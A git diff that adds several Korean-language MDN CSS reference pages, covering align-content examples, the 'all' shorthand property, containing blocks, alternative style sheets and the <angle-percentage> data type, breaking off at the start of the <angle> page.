+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container" class="flex"&gt;
+  &lt;div id="item1"&gt;1&lt;/div&gt;
+  &lt;div id="item2"&gt;2&lt;/div&gt;
+  &lt;div id="item3"&gt;3&lt;/div&gt;
+  &lt;div id="item4"&gt;4&lt;/div&gt;
+  &lt;div id="item5"&gt;5&lt;/div&gt;
+  &lt;div id="item6"&gt;6&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="display"&gt;display: &lt;/label&gt;
+  &lt;select id="display"&gt;
+    &lt;option value="flex"&gt;flex&lt;/option&gt;
+    &lt;option value="grid"&gt;grid&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+
+&lt;div class="row"&gt;
+  &lt;label for="values"&gt;align-content: &lt;/label&gt;
+  &lt;select id="values"&gt;
+    &lt;option value="normal"&gt;normal&lt;/option&gt;
+    &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+    &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+    &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+    &lt;option value="center" selected&gt;center&lt;/option&gt;
+    &lt;option value="space-between"&gt;space-between&lt;/option&gt;
+    &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+    &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+
+    &lt;option value="start"&gt;start&lt;/option&gt;
+    &lt;option value="end"&gt;end&lt;/option&gt;
+    &lt;option value="left"&gt;left&lt;/option&gt;
+    &lt;option value="right"&gt;right&lt;/option&gt;
+
+    &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+    &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+    &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+
+    &lt;option value="safe center"&gt;safe center&lt;/option&gt;
+    &lt;option value="unsafe center"&gt;unsafe center&lt;/option&gt;
+    &lt;option value="safe right"&gt;safe right&lt;/option&gt;
+    &lt;option value="unsafe right"&gt;unsafe right&lt;/option&gt;
+    &lt;option value="safe end"&gt;safe end&lt;/option&gt;
+    &lt;option value="unsafe end"&gt;unsafe end&lt;/option&gt;
+    &lt;option value="safe flex-end"&gt;safe flex-end&lt;/option&gt;
+    &lt;option value="unsafe flex-end"&gt;unsafe flex-end&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+  container.style.alignContent = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+  container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 260, 290)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Adds the [ first | last ]? baseline, start, end, left, right, unsafe | safe values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Flexbox", "#align-content", "align-content")}}</td>
+   <td>{{Spec2("CSS3 Flexbox")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<h3 id="플렉스_레이아웃_지원">플렉스 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.align-content.flex_context")}}</p>
+
+<h3 id="그리드_레이아웃_지원">그리드 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.align-content.grid_context")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Grid Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid layouts</a></em></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">CSS Box Alignment</a></li>
+</ul>
+
+<div>{{CSSRef}}</div>
diff --git a/files/ko/web/css/all/index.html b/files/ko/web/css/all/index.html
new file mode 100644
index 0000000000..baa5d4e4f0
--- /dev/null
+++ b/files/ko/web/css/all/index.html
@@ -0,0 +1,171 @@
+---
+title: all
+slug: Web/CSS/all
+tags:
+  - CSS
+  - CSS Cascade
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/all
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>all</strong></code> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 {{cssxref("unicode-bidi")}}, {{cssxref("direction")}}, <a href="/ko/docs/Web/CSS/Using_CSS_custom_properties">CSS 사용자 지정 속성</a>을 제외한 모든 속성을 초기화합니다.</span> 초깃값, 상속값, 아니면 다른 스타일시트 출처의 값으로 설정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/all.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 전역 값 */
+all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+</pre>
+
+<p><code>all</code> 속성은 CSS 전역 키워드 값 중 하나를 사용해 지정합니다. 그러나 어느것도 {{cssxref("unicode-bidi")}}와 {{cssxref("direction")}} 속성에는 영향을 주지 않는 점을 주의하세요.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("initial")}}</dt>
+ <dd>요소의 모든 속성을 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 변경합니다.</dd>
+ <dt>{{cssxref("inherit")}}</dt>
+ <dd>요소의 모든 속성을 <a href="/ko/docs/Web/CSS/inheritance">상속값</a>으로 변경합니다.</dd>
+ <dt>{{cssxref("unset")}}</dt>
+ <dd>요소의 모든 속성을, 속성이 값을 상속하는 경우 상속값으로, 아니면 초깃값으로 변경합니다.</dd>
+ <dt>{{cssxref("revert")}}</dt>
+ <dd>선언이 속한 스타일시트의 출처에 따라 다른 동작을 합니다.
+ <dl>
+  <dt><a href="/ko/docs/Web/CSS/Cascade#User-agent_stylesheets">사용자 에이전트 출처</a></dt>
+  <dd><code>unset</code>과 동일합니다.</dd>
+  <dt><a href="/ko/docs/Web/CSS/Cascade#User_stylesheets">사용자 출처</a></dt>
+  <dd><a href="/ko/docs/Web/CSS/Cascade">종속</a>을 사용자 에이전트 단계까지 되돌려서, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 마치 저작자와 사용자 단계의 규칙이 없었던 것처럼 계산되도록 합니다.</dd>
+  <dt><a href="/ko/docs/Web/CSS/Cascade#Author_stylesheets">저작자 출처</a></dt>
+  <dd><a href="/ko/docs/Web/CSS/Cascade">종속</a>을 사용자 에이전트 단계까지 되돌려서, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 마치 저작자 단계의 규칙이 없었던 것처럼 계산되도록 합니다. <code>revert</code>만 고려했을 때, 저작자 출처는 재정의(Override) 및 애니메이션(Animation) 출처를 포함합니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;blockquote id="quote"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+&lt;/blockquote&gt;
+Phasellus eget velit sagittis.</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">body {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<div id="ex0" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="all_속성_없음"><code>all</code> 속성 없음</h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }</pre>
+{{EmbedLiveSample("ex0", "200", "125")}}
+
+<p>The {{HTMLElement("blockquote")}}가 브라우저 기본 스타일과 함께, 지정한 배경 및 텍스트 색상을 사용합니다. 또한 블록 요소로 동작하여 뒤의 텍스트가 아래에 위치합니다.</p>
+</div>
+
+<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allunset"><code>all:unset</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: unset; }</pre>
+{{EmbedLiveSample("ex1", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 <code>transparent</code>(초깃값)입니다. 그러나 {{cssxref("font-size")}}는 여전히 <code>small</code>(상속값)이고 {{cssxref("color")}}도 <code>blue</code>(상속값)입니다.</p>
+</div>
+
+<div id="ex2" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinitial"><code>all:initial</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: initial; }</pre>
+{{EmbedLiveSample("ex2", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 <code>transparent</code>(초깃값)이고, {{cssxref("font-size")}}는 <code>normal</code>(초깃값), {{cssxref("color")}}는 <code>black</code>(초깃값)입니다.</p>
+</div>
+
+<div id="ex3" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinherit"><code>all:inherit</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: inherit; }</pre>
+{{EmbedLiveSample("ex3", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 블록 요소(부모 {{HTMLElement("body")}}에서 상속)이고, {{cssxref("background-color")}}은 <code>#F0F0F0</code>(상속값), {{cssxref("font-size")}}는 <code>small</code>(상속값), {{cssxref("color")}}는 <code>blue</code>(상속값)입니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS4 Cascade') }}</td>
+   <td>Added the <code>revert</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS3 Cascade') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.all")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>CSS 전역 키워드 값: {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}</p>
diff --git a/files/ko/web/css/all_about_the_containing_block/index.html b/files/ko/web/css/all_about_the_containing_block/index.html
new file mode 100644
index 0000000000..35c6bf56cb
--- /dev/null
+++ b/files/ko/web/css/all_about_the_containing_block/index.html
@@ -0,0 +1,263 @@
+---
+title: 컨테이닝 블록의 모든 것
+slug: Web/CSS/All_About_The_Containing_Block
+tags:
+  - CSS
+  - Guide
+  - Layout
+  - Position
+translation_of: Web/CSS/Containing_block
+---
+<div>{{cssref}}</div>
+
+<p>요소의 크기와 위치는 <strong>컨테이닝 블록</strong>(containing block)의 영향을 받곤 합니다. 대부분의 경우, 어떤 요소의 컨테이닝 블록은 가장 가까운 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨</a> 조상의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">콘텐츠 영역</a>이나, 항상 그런 것은 아닙니다. <span class="seoSummary">이 글에서는 요소의 컨테이닝 블록을 결정하는 요인을 살펴보겠습니다.</span></p>
+
+<p>사용자 에이전트(브라우저 등)는 문서를 그릴 때 모든 요소에 대해 상자(박스)를 생성합니다. 각각의 상자는 아래의 네 가지 영역으로 나눠집니다.</p>
+
+<ol start="1">
+ <li>콘텐츠 영역</li>
+ <li>안쪽 여백(패딩) 영역</li>
+ <li>테두리 영역</li>
+ <li>바깥 여백(마진) 영역</li>
+</ol>
+
+<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<p>많은 개발자들은 요소의 컨테이닝 블록이 언제나 부모 요소의 콘텐츠 영역이라고 생각하지만, 사실 꼭 그렇지는 않습니다. 어떤 항목이 컨테이닝 블록을 결정짓나 알아보겠습니다.</p>
+
+<h2 id="컨테이닝_블록의_효과">컨테이닝 블록의 효과</h2>
+
+<p>컨테이닝 블록을 결정하는 요인에 뭐가 있는지 알아보기 전에, 애초에 컨테이닝 블록이 무슨 상관인지 알아두는게 유용하겠습니다.</p>
+
+<p>요소의 크기와 위치는 컨테이닝 블록의 영향을 자주 받습니다. 백분율 값을 사용한 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성의 값과 절대적 위치(<code>absolute</code>나 <code>fixed</code> 등)로 설정된 요소의 오프셋 속성 값은 자신의 컨테이닝 블록으로부터 계산됩니다.</p>
+
+<h2 id="컨테이닝_블록_식별">컨테이닝 블록 식별</h2>
+
+<p>컨테이닝 블록의 식별 과정은 {{cssxref("position")}} 속성에 따라 완전히 달라집니다.</p>
+
+<ol>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>static</strong></code>, <code><strong>relative</strong></code>, <strong><code>sticky</code></strong> 중 하나이면, 컨테이닝 블록은 가장 가까운 조상 <strong>블록 컨테이너</strong>(<code>inline-block</code>, <code>block</code>, <code>list-item</code> 등의 요소), 또는 가장 가까우면서 <strong>서식 맥락을 형성하는 조상 요소</strong>(<code>table</code>, <code>flex</code>, <code>grid</code>, 아니면 블록 컨테이너 자기 자신)의 콘텐츠 영역 경계를 따라 형성됩니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>absolute</strong></code>인 경우, 컨테이닝 블록은 <code>position</code> 속성 값이 <code>static</code>이 아닌(<code>fixed</code>, <code>absolute</code>, <code>relative</code>, <code>sticky</code>) 가장 가까운 조상의 내부 여백 영역입니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>fixed</strong></code>인 경우, 컨테이닝 블록은 {{glossary("viewport", "뷰포트")}}나 페이지 영역(페이지로 나뉘는 매체인 경우)입니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>absolute</strong></code>나 <code><strong>fixed</strong></code>인 경우, 다음 조건 중 하나를 만족하는 가장 가까운 조상의 내부 여백 영역이 컨테이닝 블록이 될 수도 있습니다.
+  <ol>
+   <li>{{cssxref("transform")}}이나 {{cssxref("perspective")}} 속성이 <code>none</code>이 아님.</li>
+   <li>{{cssxref("will-change")}} 속성이 <code>transform</code>이나 <code>perspective</code>임.</li>
+   <li>{{cssxref("filter")}} 속성이 <code>none</code>임. (Firefox에선 <code>will-change</code>가 <code>filter</code>일 때도 적용)</li>
+   <li>{{cssxref("contain")}} 속성이 <code>paint</code>임.</li>
+  </ol>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>참고:</strong> 루트 요소({{HTMLElement("html")}})의 컨테이닝 블록은 <strong>초기 컨테이닝 블록</strong>이라고 불리는 사각형입니다. 초기 컨테이닝 블록은 뷰포트 또는 (페이지로 나뉘는 매체에선) 페이지 영역의 크기와 같습니다.</p>
+</div>
+
+<h2 id="컨테이닝_블록으로부터_백분율_값_계산하기">컨테이닝 블록으로부터 백분율 값 계산하기</h2>
+
+<p>앞서 언급했듯, 특정 속성의 값이 백분율이라면 그 계산값은 요소의 컨테이닝 블록에 의해 결정됩니다. 이렇게 동작하는 속성으로 <strong>박스 모델 속성</strong>과 <strong>오프셋 속성</strong>이 있습니다.</p>
+
+<ol start="1">
+ <li>{{cssxref("height")}}, {{cssxref("top")}}, {{cssxref("bottom")}} 속성은 컨테이닝 블록의 <code>height</code>를 사용해 백분율을 계산합니다. 컨테이닝 블록의 <code>height</code>가 콘텐츠의 크기에 따라 달라질 수 있고, 컨테이닝 블록의 <code>position</code>이 <code>relative</code>거나 <code>static</code>이면 계산값은 <em>0</em>이 됩니다.</li>
+ <li>{{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성은 컨테이닝 블록의 <code>width</code>를 사용해 백분율을 계산합니다.</li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<p>모든 예제의 HTML코드는 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+
+<p>이하 예제는 모두 CSS만 변경합니다.</p>
+
+<h3 id="예제_1">예제 1</h3>
+
+<p>다음 예제에서 문단은 정적 위치를 가지고, 가장 가까운 블록 컨테이너는 {{HTMLElement("section")}}이므로 문단의 컨테이닝 블록도 <code>&lt;section&gt;</code>입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_1','100%','300')}}</p>
+
+<h3 id="예제_2">예제 2</h3>
+
+<p>다음 예제에서 <code>&lt;section&gt;</code>은 <code>display: inline</code>으로 인해 블록 컨테이너가 아니고, 서식 문맥도 형성하지 않으므로 문단의 컨테이닝 블록은 {{HTMLElement("body")}} 요소입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == body 너비의 절반 */
+  height: 200px;  /* 참고: 백분율 값이었으면 0 */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_2','100%','300')}}</p>
+
+<h3 id="예제_3">예제 3</h3>
+
+<p>다음 예제에서는 <code>&lt;section&gt;</code>의 <code>position</code>이 <code>absolute</code>이기 때문에 문단의 컨테이닝 블록은 <code>&lt;section&gt;</code>입니다. 문단의 백분율 값은 컨테이닝 블록의 {{cssxref("padding")}} 값의 영향을 받겠지만, 컨테이닝 블록의 {{cssxref("box-sizing")}} 속성이 <code>border-box</code>였다면 그렇지 않을 것입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_3','100%','300')}}</p>
+
+<h3 id="예제_4">예제 4</h3>
+
+<p>다음 예제에서는 문단의 <code>position</code>이 <code>fixed</code>이므로 컨테이닝 블록은 초기 컨테이닝 블록(화면 매체에서는 뷰포트)입니다. 따라서 문단의 크기는 브라우저 창의 크기에 따라 변합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (세로 스크롤바 너비)) */
+  height: 50%;  /* == (50vh - (가로 스크롤바 높이)) */
+  margin: 5%;   /* == (5vw - (세로 스크롤바 너비)) */
+  padding: 5%;  /* == (5vw - (세로 스크롤바 너비)) */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_4','100%','300')}}</p>
+
+<h3 id="예제_5">예제 5</h3>
+
+<p>다음 예제에서는 문단의 <code>position</code>이 <code>absolute</code>이므로, 컨테이닝 블록은 {{cssxref("transform")}} 속성이 <code>none</code>이 아닌 가장 가까운 조상, <code>&lt;section&gt;</code>입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;문단입니다!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_5','100%','300')}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+ <li>모든 CSS 선언을 주어진 상태로 되돌리는 {{cssxref("all")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/alternative_style_sheets/index.html b/files/ko/web/css/alternative_style_sheets/index.html
new file mode 100644
index 0000000000..918ce3dd36
--- /dev/null
+++ b/files/ko/web/css/alternative_style_sheets/index.html
@@ -0,0 +1,24 @@
+---
+title: Alternative style sheets
+slug: Web/CSS/Alternative_style_sheets
+translation_of: Web/CSS/Alternative_style_sheets
+---
+<p>Firefox는
+ <i>
+  대체 스타일시트</i>
+ 를 지원합니다. 대체 스타일시트를 제공하는 페이지에서는 <b>보기&gt;페이지 스타일</b> 메뉴를 이용하여 페이지에 적용될 스타일을 선택할 수 있습니다. 따라서 사용자는 자신이 원하는 다양한 종류의 페이지를 볼 수 있게 됩니다.</p>
+<p>&lt;tt&gt;<a href="ko/HTML/Element/link">link</a>&lt;/tt&gt; 요소를 사용하여 웹 페이지에 대체 스타일시트를 제공할 수 있습니다.</p>
+<p>예제:</p>
+<pre class="eval"> &lt;link href="default.css" rel="stylesheet" type="text/css" title="Default Style"&gt;
+ &lt;link href="fancy.css" rel="alternate stylesheet" type="text/css" title="Fancy"&gt;
+ &lt;link href="basic.css" rel="alternate stylesheet" type="text/css" title="Basic"&gt;
+</pre>
+<p>위의 세 가지 스타일 시트를 제공하면, 페이지 스타일 메뉴에 "Default Style", "Fancy", "Basic" 스타일 목록이 출력됩니다. 사용자가 특정 스타일을 선택하면 페이지는 해당 스타일로 바로 다시 렌더링 됩니다.</p>
+<p><code><a href="ko/HTML/Element/link">link</a></code> 또는 <code><a href="ko/HTML/Element/style">style</a></code> 요소에 <code>title</code> 속성이 포함되어 있을 경우 해당 제목(title)은 사용자에게로 노출되어 사용자가 선택할 수 있게 됩니다. 동일한 제목을 가진 스타일시트가 여럿 존재할 경우 해당 스타일시트들은 모두 적용되며, <code>title</code> 속성이 없는 스타일시트는 항상 적용됩니다.</p>
+<p>기본 스타일시트에는 <code>rel="stylesheet"</code> 속성을 사용하고 대체 스타일시트에는 <code>rel="alternate stylesheet"</code>를 사용하세요. 이를 통해 Firefox는 어떤 스타일시트 제목을 처음 선택해야 할지 알 수 있으며, 대체 스타일시트를 지원하지 않는 브라우저에게 기본 스타일시트가 무엇인지를 알려줍니다.</p>
+<h3 id=".EC.8B.A4.EC.A0.9C_.EC.98.88.EC.A0.9C" name=".EC.8B.A4.EC.A0.9C_.EC.98.88.EC.A0.9C">실제 예제</h3>
+<p>실제로 동작하는 예제는 <a class="external" href="http://developer.mozilla.org/samples/cssref/altstyles/index.html">여기에서</a> 볼 수 있습니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html401/present/styles.html#h-14.3">HTML 4.01: External style sheets</a></li>
+</ul>
diff --git a/files/ko/web/css/angle-percentage/index.html b/files/ko/web/css/angle-percentage/index.html
new file mode 100644
index 0000000000..a341698026
--- /dev/null
+++ b/files/ko/web/css/angle-percentage/index.html
@@ -0,0 +1,52 @@
+---
+title: <angle-percentage>
+slug: Web/CSS/angle-percentage
+tags:
+  - CSS
+  - CSS Data Type
+  - Data Type
+  - Reference
+  - 자료형
+translation_of: Web/CSS/angle-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;angle-percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;angle&gt;")}}과 {{cssxref("&lt;percentage&gt;")}} 모두 가능한 값을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>{{cssxref("&lt;angle&gt;")}}과 {{cssxref("&lt;percentage&gt;")}} 문서에서 각 자료형의 구문을 살펴보세요.</p>
+
+<h2 id="calc에서_사용하기"><code>calc()</code>에서 사용하기</h2>
+
+<p><code>&lt;angle-percentage&gt;</code>를 사용할 수 있는 곳이라면 백분율이 각도로 계산되므로, 이 자료형도<code> </code>{{cssxref("calc()")}}표현식에서 사용할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Defines <code>&lt;angle-percentage&gt;</code>. Adds <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.angle-percentage")}}</p>
diff --git a/files/ko/web/css/angle/index.html b/files/ko/web/css/angle/index.html
new file mode 100644
index 0000000000..8125920a36
--- /dev/null
+++ b/files/ko/web/css/angle/index.html
@@ -0,0 +1,115 @@
+---
+title: <angle>
